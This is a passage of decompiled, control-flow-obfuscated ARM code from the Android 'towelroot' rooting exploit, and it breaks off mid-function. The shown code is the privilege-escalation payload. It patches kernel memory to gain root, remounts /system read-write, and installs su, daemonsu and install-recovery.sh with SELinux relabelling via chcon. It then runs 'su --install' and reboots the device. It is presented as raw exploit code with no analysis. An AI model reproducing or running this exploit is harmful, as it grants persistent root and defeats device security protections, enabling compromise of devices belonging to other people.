// 10A4: using guessed type int __fastcall sigaction(_DWORD, _DWORD, _DWORD);
// 2ACF0: using guessed type void *swag2;
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;
//----- (0000881C) --------------------------------------------------------
signed int sub_881C()
{
signed int v0; // r6@1
signed int v1; // r4@1
signed int v2; // r5@1
signed int v3; // lr@1
signed int v4; // r7@1
signed int v5; // r12@1
signed int v6; // r3@1
signed int v7; // r9@1
signed int v8; // r10@1
signed int v9; // r8@1
signed int v10; // r1@1
signed int result; // r0@1
signed int v12; // r2@30
signed int v13; // r6@30
signed int v14; // r0@30
signed int v15; // r7@30
char v16; // r0@31
signed int v17; // r9@39
char v18; // zf@44
signed int v19; // r9@61
signed int v20; // r9@65
signed int v21; // r9@72
FILE *v22; // r0@72
char v23; // r0@72
signed int v24; // r9@77
char v25; // r0@77
signed int v26; // r9@99
signed int v27; // r9@107
char v28; // r0@113
signed int v29; // r6@123
signed int v30; // r9@152
signed int v31; // r9@163
signed int v32; // r9@177
int v33; // r1@177
int v34; // r2@177
int v35; // r3@177
signed int v36; // r9@187
signed int v37; // r9@190
FILE *v38; // r0@190
signed int v39; // r9@201
signed int v40; // r6@228
signed int v41; // r9@231
signed int v42; // r9@244
signed int v43; // r9@263
signed int v44; // r9@283
signed int v45; // r9@289
unsigned int v46; // r0@292
unsigned __int8 v47; // cf@292
char v48; // r0@292
char v49; // r0@302
char v50; // r0@313
signed int v51; // r9@323
char v52; // r0@334
unsigned int v53; // r0@339
char v54; // r0@339
signed int v55; // r9@344
int v56; // r0@355
signed int v57; // r1@355
unsigned int v58; // r0@363
char v59; // r0@363
signed int v60; // r9@379
signed int v61; // r9@408
FILE *v62; // r0@408
unsigned int v63; // r0@413
char v64; // r0@413
signed int v65; // r9@418
signed int v66; // r9@430
char v67; // r0@430
char v68; // r0@455
int v69; // r0@460
signed int v70; // r7@489
int v71; // r0@498
void *v72; // r0@498
int v73; // [sp+0h] [bp-7C0h]@0
signed int v74; // [sp+4h] [bp-7BCh]@0
int v75; // [sp+8h] [bp-7B8h]@0
int v76; // [sp+34h] [bp-78Ch]@30
int v77; // [sp+38h] [bp-788h]@30
int v78; // [sp+3Ch] [bp-784h]@30
signed int v79; // [sp+40h] [bp-780h]@30
FILE *v80; // [sp+144h] [bp-67Ch]@30
int v81; // [sp+154h] [bp-66Ch]@30
char v82; // [sp+158h] [bp-668h]@489
char v83; // [sp+258h] [bp-568h]@463
int v84; // [sp+25Ch] [bp-564h]@478
int v85; // [sp+260h] [bp-560h]@1
char v86; // [sp+266h] [bp-55Ah]@492
char v87; // [sp+267h] [bp-559h]@457
int v88; // [sp+268h] [bp-558h]@77
int v89; // [sp+26Ch] [bp-554h]@155
int v90; // [sp+270h] [bp-550h]@422
int v91; // [sp+274h] [bp-54Ch]@302
int v92; // [sp+278h] [bp-548h]@255
int v93; // [sp+27Ch] [bp-544h]@113
char v94; // [sp+280h] [bp-540h]@177
int v95; // [sp+284h] [bp-53Ch]@177
int v96; // [sp+288h] [bp-538h]@177
int v97; // [sp+28Ch] [bp-534h]@177
int v98; // [sp+290h] [bp-530h]@177
int v99; // [sp+294h] [bp-52Ch]@177
int v100; // [sp+298h] [bp-528h]@177
int v101; // [sp+29Ch] [bp-524h]@177
int v102; // [sp+2A0h] [bp-520h]@177
signed int v103; // [sp+2A8h] [bp-518h]@177
signed int v104; // [sp+2ACh] [bp-514h]@177
signed int v105; // [sp+2B0h] [bp-510h]@177
signed int v106; // [sp+2B4h] [bp-50Ch]@177
signed int v107; // [sp+2B8h] [bp-508h]@177
signed int v108; // [sp+2BCh] [bp-504h]@177
signed int v109; // [sp+2C0h] [bp-500h]@177
signed int v110; // [sp+2C4h] [bp-4FCh]@177
unsigned int v111; // [sp+2D8h] [bp-4E8h]@263
char v112[1024]; // [sp+380h] [bp-440h]@30
char v113; // [sp+780h] [bp-40h]@30
int v114; // [sp+78Ch] [bp-34h]@30
char v115; // [sp+793h] [bp-2Dh]@118
char v116; // [sp+794h] [bp-2Ch]@134
char v117; // [sp+795h] [bp-2Bh]@297
char v118; // [sp+796h] [bp-2Ah]@294
char v119; // [sp+797h] [bp-29h]@88
char v120; // [sp+798h] [bp-28h]@318
char v121; // [sp+799h] [bp-27h]@326
char v122; // [sp+79Ah] [bp-26h]@33
char v123; // [sp+79Bh] [bp-25h]@79
char v124; // [sp+79Ch] [bp-24h]@166
char v125; // [sp+79Dh] [bp-23h]@115
char v126; // [sp+79Eh] [bp-22h]@74
char v127; // [sp+79Fh] [bp-21h]@357
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
v0 = -1787101248;
v1 = -2052581280;
v2 = 1918411916;
v3 = 920973262;
v85 = HACKS_final_stack_base;
v4 = -1706446860;
v5 = -1443950635;
v6 = -1787101247;
v7 = 26443918;
v8 = 1295232369;
v9 = -1320881322;
v10 = -1461759429;
result = -1461759429;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
LABEL_4:
while ( result <= v0 )
{
if ( result != v1 )
goto LABEL_4;
LABEL_464:
result = 1918411917;
}
if ( result <= v2 )
break;
if ( result == 1918411917 )
result = v9;
}
if ( result <= 1752917371 )
break;
if ( result == 1752917372 )
result = v6;
}
if ( result > -1706446861 )
break;
if ( result == v6 )
{
result = v3;
if ( !did_splice_tid_read )
result = 1752917372;
}
}
if ( result <= -1461759430 )
break;
if ( result > 1295232368 )
{
if ( result == v8 )
result = v9;
}
else if ( result > -1443950636 )
{
if ( result <= -1424694618 )
{
if ( result != v5 )
goto LABEL_4;
_android_log_print(4, "towelroot", "cpid3 resumed\n", v6, v73, v74, v75);
pthread_mutex_lock(is_kernel_writing);
_android_log_print(4, "towelroot", "WOOT\n");
sub_BA44(HACKS_final_stack_base, (int)&v113, 16);
v78 = v114;
sub_BA44(v114, (int)v112, 1024);
v79 = 0;
v77 = 0;
v81 = 0;
v76 = 0;
v12 = -2130183586;
v13 = 659993302;
v80 = 0;
v14 = 813660343;
v15 = 2120039616;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
LABEL_34:
while ( v14 <= -2130183587 )
{
if ( v14 == -2138564607 )
{
v16 = 0;
if ( (unsigned int)v81 < 0xFFFF0000 )
v16 = 1;
v122 = v16;
v14 = v13;
}
}
if ( v14 <= -2124454980 )
{
if ( v14 != v12 )
continue;
v17 = v12;
fwrite(&su, 1u, su_len, v80);
fclose(v80);
chmod("/system/xbin/su", 3565);
goto LABEL_40;
}
if ( v14 <= 2120039615 )
break;
if ( v14 == v15 )
v14 = -109185484;
}
if ( v14 > -2121528649 )
break;
if ( v14 == -2124454979 )
{
v13 = v12;
v18 = fork() == 0;
v14 = -251058490;
v12 = v13;
LOWORD(v13) = -19754;
if ( v18 )
v14 = 27180;
v15 = 2120039616;
HIWORD(v13) = 10070;
if ( v18 )
HIWORD(v14) = -7507;
}
}
if ( v14 > -2102195321 )
break;
if ( v14 == -2121528648 )
v14 = -2138564607;
}
if ( v14 > -2090996649 )
break;
if ( v14 == -2102195320 )
{
v14 = 93280306;
if ( *(_DWORD *)&v112[4 * v79 + 24] == *(_DWORD *)&v112[4 * v79 + 28] )
v14 = -459156775;
}
}
if ( v14 <= -2086631517 )
{
if ( v14 != -2090996648 )
goto LABEL_34;
v19 = v12;
sleep(10);
goto LABEL_62;
}
if ( v14 <= -2064196850 )
{
if ( v14 != -2086631516 )
goto LABEL_34;
v20 = v12;
fwrite(&su, 1u, su_len, v80);
fclose(v80);
chmod("/system/xbin/daemonsu", 493);
v12 = v20;
LABEL_66:
v14 = -1511063752;
goto LABEL_34;
}
if ( v14 > -2048849012 )
break;
if ( v14 == -2064196849 )
v14 = 212489599;
}
if ( v14 > -2041505717 )
break;
if ( v14 == -2048849011 )
{
v21 = v12;
v22 = fopen("/system/xbin/daemonsu", "wb");
v80 = v22;
v18 = v22 == 0;
v23 = 0;
v12 = v21;
if ( v18 )
v23 = 1;
v126 = v23;
v14 = -778324465;
}
}
if ( v14 > -2009744347 )
break;
if ( v14 == -2041505716 )
{
v24 = v12;
sub_BA44(v81, (int)&v88, 24);
v25 = v88;
v12 = v24;
if ( v88 )
v25 = 1;
v123 = v25;
v14 = -116224567;
}
}
if ( v14 > -2005244521 )
break;
if ( v14 == -2009744346 )
{
++v79;
v14 = 813660343;
}
}
if ( v14 > -1953280817 )
break;
if ( v14 == -2005244520 )
v14 = -2041505716;
}
if ( v14 > -1921109414 )
break;
if ( v14 == -1953280816 )
{
v14 = 93280306;
if ( v119 )
v14 = -2102195320;
}
}
if ( v14 > -1913929176 )
break;
if ( v14 == -1921109413 )
v14 = 171860441;
}
if ( v14 > -1912575107 )
break;
if ( v14 == -1913929175 )
v14 = 171860441;
}
if ( v14 > -1749526092 )
break;
if ( v14 == -1912575106 )
{
v26 = v12;
v18 = system("/system/bin/mount -o rw,remount /system") == 0;
v14 = 1384539185;
v12 = v26;
if ( !v18 )
v14 = 955135734;
}
}
if ( v14 > -1741502551 )
break;
if ( v14 == -1749526091 )
v14 = 364298640;
}
if ( v14 > -1723392329 )
break;
if ( v14 == -1741502550 )
{
v27 = v12;
_android_log_print(4, "towelroot", "open %s failed\n", "/system/etc/install-recovery.sh");
v14 = 170287388;
v12 = v27;
}
}
if ( v14 > -1721762756 )
break;
if ( v14 == -1723392328 )
v14 = 1391689778;
}
if ( v14 > -1719595765 )
break;
if ( v14 == -1721762755 )
{
v28 = 0;
if ( !v93 )
v28 = 1;
v125 = v28;
v14 = 2111171057;
}
}
if ( v14 > -1600313241 )
break;
v15 = 2120039616;
if ( v14 == -1719595764 )
{
v14 = 1744476774;
if ( v115 )
v14 = -213118578;
}
}
if ( v14 > -1585751473 )
break;
v15 = 2120039616;
if ( v14 == -1600313240 )
{
v29 = v12;
v80 = fopen("/system/xbin/daemonsu", "wb");
v14 = -2048849011;
v15 = 2120039616;
v12 = v29;
v13 = 659993302;
}
}
if ( v14 > -1545774387 )
break;
v15 = 2120039616;
if ( v14 == -1585751472 )
{
v14 = 93280306;
if ( *(_DWORD *)&v112[4 * v79 + 16] == *(_DWORD *)&v112[4 * v79 + 20] )
v14 = 29057537;
}
}
if ( v14 > -1515490549 )
break;
v15 = 2120039616;
if ( v14 == -1545774386 )
v14 = -866390007;
}
if ( v14 > -1514262418 )
break;
v15 = 2120039616;
if ( v14 == -1515490548 )
{
v14 = 93280306;
if ( v116 )
v14 = -881023702;
}
}
if ( v14 > -1511063753 )
break;
v15 = 2120039616;
if ( v14 == -1514262417 )
v14 = -2124454979;
}
if ( v14 > -1419458129 )
break;
v15 = 2120039616;
if ( v14 == -1511063752 )
{
fwrite(&su, 1u, su_len, v80);
fclose(v80);
chmod("/system/xbin/daemonsu", 493);
v12 = -2130183586;
v14 = 620115465;
}
}
if ( v14 > -1305451062 )
break;
v15 = 2120039616;
if ( v14 == -1419458128 )
v14 = -978178195;
}
if ( v14 > -1285427321 )
break;
v15 = 2120039616;
if ( v14 == -1305451061 )
v14 = 212489599;
}
if ( v14 <= -1242426932 )
{
v15 = 2120039616;
if ( v14 != -1285427320 )
goto LABEL_34;
v30 = v12;
_android_log_print(4, "towelroot", "MOUNT RO FAILED\n");
v12 = v30;
LABEL_225:
v14 = -326373175;
goto LABEL_34;
}
if ( v14 > -1218482491 )
break;
v15 = 2120039616;
if ( v14 == -1242426931 )
{
v14 = -1419458128;
if ( v89 )
v14 = 1655157796;
}
}
if ( v14 > -1164260251 )
break;
v15 = 2120039616;
if ( v14 == -1218482490 )
v14 = -2048849011;
}
if ( v14 <= -1152208194 )
{
v15 = 2120039616;
if ( v14 != -1164260250 )
goto LABEL_34;
v31 = v12;
sleep(10);
v12 = v31;
LABEL_260:
v14 = 224967989;
goto LABEL_34;
}
if ( v14 > -1096970947 )
break;
v15 = 2120039616;
if ( v14 == -1152208193 )
{
v14 = -1419458128;
if ( v124 )
v14 = -183827150;
}
}
if ( v14 > -1005284482 )
break;
v15 = 2120039616;
if ( v14 == -1096970946 )
v14 = 550617874;
}
if ( v14 <= -978178196 )
{
v15 = 2120039616;
if ( v14 != -1005284481 )
goto LABEL_34;
++v79;
LABEL_178:
v14 = -781784692;
goto LABEL_34;
}
if ( v14 <= -961260974 )
{
v15 = 2120039616;
if ( v14 != -978178195 )
goto LABEL_34;
v32 = v12;
v95 = 0;
v96 = 0;
v97 = 0;
v98 = 0;
v99 = 0;
v100 = 0;
v101 = 0;
v102 = 0;
v79 = 0;
v103 = -1;
v104 = -1;
v105 = -1;
v106 = -1;
v107 = -1;
v108 = -1;
v109 = -1;
v110 = -1;
sub_B7D8(v77, (int)&v94, 72);
v76 = syscall(224, v33, v34, v35);
v12 = v32;
goto LABEL_178;
}
if ( v14 <= -932069066 )
{
v15 = 2120039616;
if ( v14 != -961260973 )
goto LABEL_34;
LABEL_238:
v14 = 1284362286;
goto LABEL_34;
}
if ( v14 > -915595948 )
break;
v15 = 2120039616;
if ( v14 == -932069065 )
v14 = -2090996648;
}
if ( v14 > -902271694 )
break;
v15 = 2120039616;
if ( v14 == -915595947 )
{
v36 = v12;
_android_log_print(4, "towelroot", "ROOT FAILED\n");
v14 = -181684634;
v12 = v36;
}
}
if ( v14 > -881023703 )
break;
v15 = 2120039616;
if ( v14 == -902271693 )
{
v37 = v12;
v38 = fopen("/system/etc/install-recovery.sh", "wb");
v80 = v38;
v18 = v38 == 0;
v14 = -452748303;
v12 = v37;
if ( v18 )
v14 = 2115198479;
}
}
if ( v14 > -866390008 )
break;
v15 = 2120039616;
if ( v14 == -881023702 )
v14 = 364298640;
}
if ( v14 > -804413751 )
break;
v15 = 2120039616;
if ( v14 == -866390007 )
v14 = -564811182;
}
if ( v14 > -781784693 )
break;
v15 = 2120039616;
if ( v14 == -804413750 )
{
v39 = v12;
v18 = getuid() == 0;
v14 = -1912575106;
v12 = v39;
if ( !v18 )
v14 = 521100380;
}
}
if ( v14 > -778324466 )
break;
v15 = 2120039616;
if ( v14 == -781784692 )
{
v14 = -1545774386;
if ( *(_DWORD *)&v112[4 * v79] == v76 )
v14 = 117140219;
}
}
if ( v14 > -759516730 )
break;
v15 = 2120039616;
if ( v14 == -778324465 )
{
v14 = 1085380913;
if ( v126 )
v14 = 1462027221;
}
}
if ( v14 > -681534242 )
break;
v15 = 2120039616;
if ( v14 == -759516729 )
v14 = 1191633733;
}
if ( v14 > -564811183 )
break;
v15 = 2120039616;
if ( v14 == -681534241 )
v14 = -496558070;
}
if ( v14 > -525024318 )
break;
v15 = 2120039616;
if ( v14 == -564811182 )
v14 = -1005284481;
}
if ( v14 <= -496558071 )
{
v15 = 2120039616;
if ( v14 != -525024317 )
goto LABEL_34;
goto LABEL_225;
}
if ( v14 > -491951573 )
break;
v15 = 2120039616;
if ( v14 == -496558070 )
{
v40 = v12;
sleep(10);
v15 = 2120039616;
v12 = v40;
v13 = 659993302;
v14 = 2120039616;
}
}
if ( v14 > -459156776 )
break;
v15 = 2120039616;
if ( v14 == -491951572 )
{
v41 = v12;
_android_log_print(
4,
"towelroot",
"rebooting in 15\n");
sleep(15);
_android_log_print(
4,
"towelroot",
"rebooting\n");
system("reboot");
v12 = v41;
v14 = 2120039616;
}
}
if ( v14 > -452748304 )
break;
v15 = 2120039616;
if ( v14 == -459156775 )
v14 = 550617874;
}
if ( v14 <= -353533450 )
{
v15 = 2120039616;
if ( v14 != -452748303 )
goto LABEL_34;
fwrite(
install_recovery_sh,
1u,
install_recovery_sh_len,
v80);
fclose(v80);
chmod(
"/system/etc/install-recovery.sh",
493);
v12 = -2130183586;
goto LABEL_238;
}
if ( v14 > -326373176 )
break;
v15 = 2120039616;
if ( v14 == -353533449 )
v14 = -1721762755;
}
if ( v14 > -251058491 )
break;
v15 = 2120039616;
if ( v14 == -326373175 )
{
v42 = v12;
_android_log_print(
4,
"towelroot",
"MOUNT RO FAILED\n");
v14 = -1514262417;
v12 = v42;
}
}
if ( v14 > -213118579 )
break;
v15 = 2120039616;
if ( v14 == -251058490 )
{
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
result = -1424694617;
v10 = -1461759429;
v6 = -1787101247;
v3 = 920973262;
v4 = -1706446860;
v5 = -1443950635;
v1 = -2052581280;
v2 = 1918411916;
v0 = -1787101248;
v9 = -1320881322;
v7 = 26443918;
v8 = 1295232369;
goto LABEL_4;
}
}
if ( v14 > -183827151 )
break;
v15 = 2120039616;
if ( v14 == -213118578 )
{
v14 = 93280306;
if ( *(_DWORD *)&v112[4 * v79] == *(_DWORD *)&v112[4 * v79 + 4] )
v14 = 1044840074;
}
}
if ( v14 > -181684635 )
break;
v15 = 2120039616;
if ( v14 == -183827150 )
{
v14 = -1419458128;
if ( !v92 )
v14 = -353533449;
}
}
if ( v14 <= -153904172 )
{
v15 = 2120039616;
if ( v14 != -181684634 )
goto LABEL_34;
goto LABEL_260;
}
if ( v14 > -116224568 )
break;
v15 = 2120039616;
if ( v14 == -153904171 )
{
v43 = v12;
sub_BA44(v77, (int)&v94, 256);
v12 = v43;
v81 = v111;
v14 = 2044651804;
}
}
if ( v14 > -109185485 )
break;
v15 = 2120039616;
if ( v14 == -116224567 )
{
v14 = -1419458128;
if ( v123 )
v14 = -1242426931;
}
}
if ( v14 > 29057536 )
break;
v15 = 2120039616;
if ( v14 == -109185484 )
v14 = -681534241;
}
if ( v14 > 93280305 )
break;
v15 = 2120039616;
if ( v14 == 29057537 )
v14 = 1391689778;
}
if ( v14 > 108434451 )
break;
v15 = 2120039616;
if ( v14 == 93280306 )
v14 = -2009744346;
}
if ( v14 > 117140218 )
break;
v15 = 2120039616;
if ( v14 == 108434452 )
v14 = 528630549;
}
if ( v14 > 150541933 )
break;
v15 = 2120039616;
if ( v14 == 117140219 )
{
v44 = v12;
sub_B7D8(4 * v79 + v78, (int)&unk_CDF9, 4);
v14 = -804413750;
v12 = v44;
}
}
if ( v14 > 170287387 )
break;
v15 = 2120039616;
if ( v14 == 150541934 )
v14 = -2138564607;
}
if ( v14 > 171860440 )
break;
v15 = 2120039616;
if ( v14 == 170287388 )
{
v45 = v12;
_android_log_print(
4,
"towelroot",
"open %s failed\n",
"/system/etc/install-recovery.sh");
v14 = -961260973;
v12 = v45;
}
}
if ( v14 > 189835053 )
break;
v15 = 2120039616;
if ( v14 == 171860441 )
{
v46 = *(_DWORD *)&v112[4 * v79 + 8];
v47 = v46 >= 0xC0000000;
v18 = v46 == -1073741824;
v48 = 0;
if ( !v18 & v47 )
v48 = 1;
v118 = v48;
v14 = 1153230344;
}
}
if ( v14 > 212489598 )
break;
v15 = 2120039616;
if ( v14 == 189835054 )
{
v14 = 93280306;
if ( v117 )
v14 = -1913929175;
}
}
if ( v14 > 224967988 )
break;
v15 = 2120039616;
if ( v14 == 212489599 )
{
v49 = 0;
if ( !v91 )
v49 = 1;
v124 = v49;
v14 = -1152208193;
}
}
if ( v14 > 292233490 )
break;
v15 = 2120039616;
if ( v14 == 224967989 )
v14 = -1164260250;
}
if ( v14 > 364298639 )
break;
v15 = 2120039616;
if ( v14 == 292233491 )
{
v77 = *(_DWORD *)&v112[4 * v79 + 28];
v14 = 1191633733;
}
}
if ( v14 > 391296929 )
break;
v15 = 2120039616;
if ( v14 == 364298640 )
{
v50 = 0;
if ( *(_DWORD *)&v112[-4 * (-2 - v79)] == *(_DWORD *)&v112[4 * v79 + 12] )
v50 = 1;
v117 = v50;
v14 = 189835054;
}
}
if ( v14 > 416162447 )
break;
v15 = 2120039616;
if ( v14 == 391296930 )
{
v14 = 93280306;
if ( v120 )
v14 = -759516729;
}
}
if ( v14 > 509794381 )
break;
v15 = 2120039616;
if ( v14 == 416162448 )
{
v88 = 1;
v51 = v12;
v89 = 1;
_android_log_print(4, "towelroot", "YOU ARE A SCARY PHONE\n");
sub_B7D8(v81, (int)&v88, 24);
v14 = -1419458128;
v12 = v51;
}
}
if ( v14 > 521100379 )
break;
v15 = 2120039616;
if ( v14 == 509794382 )
{
v14 = -978178195;
if ( v121 )
v14 = 150541934;
}
}
if ( v14 > 528630548 )
break;
v15 = 2120039616;
if ( v14 == 521100380 )
v14 = -915595947;
}
if ( v14 > 550617873 )
break;
v15 = 2120039616;
if ( v14 == 528630549 )
{
v52 = 0;
if ( v79 < 256 )
v52 = 1;
v115 = v52;
v14 = -1719595764;
}
}
if ( v14 > 576103607 )
break;
v15 = 2120039616;
if ( v14 == 550617874 )
{
v53 = *(_DWORD *)&v112[4 * v79 + 24];
v47 = v53 >= 0xC0000000;
v18 = v53 == -1073741824;
v54 = 0;
if ( !v18 & v47 )
v54 = 1;
v120 = v54;
v14 = 391296930;
}
}
if ( v14 > 620115464 )
break;
v15 = 2120039616;
if ( v14 == 576103608 )
{
v55 = v12;
sub_BA44(v81, (int)&v88, 24);
v14 = -2041505716;
v12 = v55;
}
}
if ( v14 <= 659993301 )
{
v15 = 2120039616;
if ( v14 != 620115465 )
goto LABEL_34;
LABEL_419:
v14 = -902271693;
goto LABEL_34;
}
if ( v14 > 669533239 )
break;
v15 = 2120039616;
if ( v14 == v13 )
{
v14 = -978178195;
if ( v122 )
v14 = -2005244520;
}
}
if ( v14 > 683715704 )
break;
v15 = 2120039616;
if ( v14 == 669533240 )
{
_android_log_print(4, "towelroot", "doing chcon\n");
system("/system/bin/chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/bin/toolbox chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/xbin/su --install");
v56 = system("/system/bin/mount -o ro,remount /system");
LOWORD(v57) = -1442;
if ( v56 )
LOBYTE(v56) = 1;
HIWORD(v57) = -32505;
v127 = v56;
v14 = 853981408;
v12 = v57;
}
}
if ( v14 > 684340807 )
break;
v15 = 2120039616;
if ( v14 == 683715705 )
v14 = -866390007;
}
if ( v14 > 813660342 )
break;
v15 = 2120039616;
if ( v14 == 684340808 )
{
v58 = *(_DWORD *)&v112[4 * v79];
v47 = v58 >= 0xC0000000;
v18 = v58 == -1073741824;
v59 = 0;
if ( !v18 & v47 )
v59 = 1;
v116 = v59;
v14 = -1515490548;
}
}
if ( v14 > 853981407 )
break;
v15 = 2120039616;
if ( v14 == 813660343 )
v14 = 528630549;
}
if ( v14 > 919942505 )
break;
v15 = 2120039616;
if ( v14 == 853981408 )
{
v14 = -2124454979;
if ( v127 )
v14 = -525024317;
}
}
if ( v14 > 946509526 )
break;
v15 = 2120039616;
if ( v14 == 919942506 )
v14 = 684340808;
}
if ( v14 > 955135733 )
break;
v15 = 2120039616;
if ( v14 == 946509527 )
{
v60 = v12;
_android_log_print(4, "towelroot", "ROOT FAILED\n");
v14 = -915595947;
v12 = v60;
}
}
if ( v14 > 1044840073 )
break;
v15 = 2120039616;
if ( v14 == 955135734 )
{
v19 = v12;
_android_log_print(4, "towelroot", "MOUNT RW FAILED\n");
LABEL_62:
v14 = -932069065;
v12 = v19;
goto LABEL_34;
}
}
if ( v14 > 1068385649 )
break;
v15 = 2120039616;
if ( v14 == 1044840074 )
v14 = 684340808;
}
if ( v14 > 1085380912 )
break;
v15 = 2120039616;
if ( v14 == 1068385650 )
v14 = 1744476774;
}
if ( v14 > 1153230343 )
break;
v15 = 2120039616;
if ( v14 == 1085380913 )
goto LABEL_66;
}
if ( v14 > 1191633732 )
break;
v15 = 2120039616;
if ( v14 == 1153230344 )
{
v14 = 93280306;
if ( v118 )
v14 = -1585751472;
}
}
if ( v14 > 1284362285 )
break;
v15 = 2120039616;
if ( v14 == 1191633733 )
{
v77 = *(_DWORD *)&v112[-4 * (-7 - v79)];
v14 = 1068385650;
}
}
if ( v14 <= 1314750265 )
break;
if ( v14 > 1384539184 )
{
if ( v14 > 1391689777 )
{
if ( v14 > 1462027220 )
{
if ( v14 <= 1655157795 )
{
v15 = 2120039616;
if ( v14 != 1462027221 )
goto LABEL_34;
v65 = v12;
_android_log_print(4, "towelroot", "open %s failed\n", "/system/xbin/daemonsu");
v12 = v65;
goto LABEL_419;
}
if ( v14 > 1744476773 )
{
if ( v14 > 2044651803 )
{
if ( v14 > 2104519028 )
{
if ( v14 > 2111171056 )
{
if ( v14 > 2113717884 )
{
if ( v14 == 2113717885 )
{
v14 = -109185484;
goto LABEL_445;
}
if ( v14 == 2115198479 )
{
v14 = 170287388;
LABEL_445:
v15 = 2120039616;
goto LABEL_34;
}
v15 = 2120039616;
if ( v14 == 2115729179 )
{
_android_log_print(4, "towelroot", "doing chcon\n");
system("/system/bin/chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/bin/toolbox chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/xbin/su --install");
system("/system/bin/mount -o ro,remount /system");
v12 = -2130183586;
LABEL_448:
v14 = 669533240;
goto LABEL_34;
}
}
else
{
v15 = 2120039616;
if ( v14 == 2111171057 )
{
v14 = -1419458128;
if ( v125 )
v14 = 416162448;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 2104519029 )
{
v17 = v12;
_android_log_print(4, "towelroot", "open %s failed\n", "/system/xbin/su");
LABEL_40:
v12 = v17;
v14 = -1218482490;
goto LABEL_34;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 2044651804 )
{
v66 = v12;
sub_BA44(v77, (int)&v94, 256);
v12 = v66;
v81 = v111;
v67 = 0;
if ( v111 > 0xC0000000 )
v67 = 1;
v121 = v67;
v14 = 509794382;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1744476774 )
v14 = 2044651804;
}
}
else
{
v15 = 2120039616;
if ( v14 == 1655157796 )
{
v14 = -1419458128;
if ( !v90 )
v14 = -1305451061;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1391689778 )
{
v63 = *(_DWORD *)&v112[4 * v79 + 16];
v47 = v63 >= 0xC0000000;
v18 = v63 == -1073741824;
v64 = 0;
if ( !v18 & v47 )
v64 = 1;
v119 = v64;
v14 = -1953280816;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1384539185 )
{
v61 = v12;
v62 = fopen("/system/xbin/su", "wb");
v12 = v61;
v80 = v62;
v18 = v62 == 0;
v14 = v61;
if ( v18 )
v14 = 2104519029;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1314750266 )
v14 = -1721762755;
}
}
v15 = 2120039616;
if ( v14 != 1284362286 )
goto LABEL_34;
goto LABEL_448;
}
if ( result > -1320881323 )
{
if ( result > -512654260 )
{
if ( result > -116490905 )
{
if ( result > -16427466 )
{
if ( result > 26443917 )
{
if ( result > 176063917 )
{
if ( result > 263847525 )
{
if ( result > 513310240 )
{
if ( result > 602403845 )
{
if ( result > 920973261 )
{
if ( result > 998255657 )
{
if ( result == 998255658 )
{
result = 1222654836;
goto LABEL_496;
}
if ( result == 1207554858 )
{
result = 602403846;
if ( v86 )
result = -116490904;
LABEL_496:
v4 = -1706446860;
v5 = -1443950635;
v9 = -1320881322;
v7 = 26443918;
v8 = 1295232369;
}
else
{
v4 = -1706446860;
v5 = -1443950635;
v9 = -1320881322;
v7 = 26443918;
v8 = 1295232369;
if ( result == 1222654836 )
{
_android_log_print(4, "towelroot", "cpid1 resumed\n", v6, v73, v74, v75);
pthread_mutex_lock(is_kernel_writing);
v8 = 1295232369;
HACKS_fdm = open("/dev/ptmx", 2);
unlockpt();
v71 = ptsname(HACKS_fdm);
open(v71, 2);
v5 = -1443950635;
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v72 = ph[3];
if ( v72 )
LOBYTE(v72) = 1;
v86 = (char)v72;
result = 1207554858;
}
}
}
else
{
v8 = 1295232369;
if ( result == v3 )
{
v70 = v5;
read(HACKS_fdm, &v82, 256);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = v70;
v4 = -1706446860;
LABEL_479:
result = -16427465;
}
}
}
else if ( result == 602403846 )
{
do_splice_tid_read = 1;
result = v6;
}
}
else if ( result == 513310241 )
{
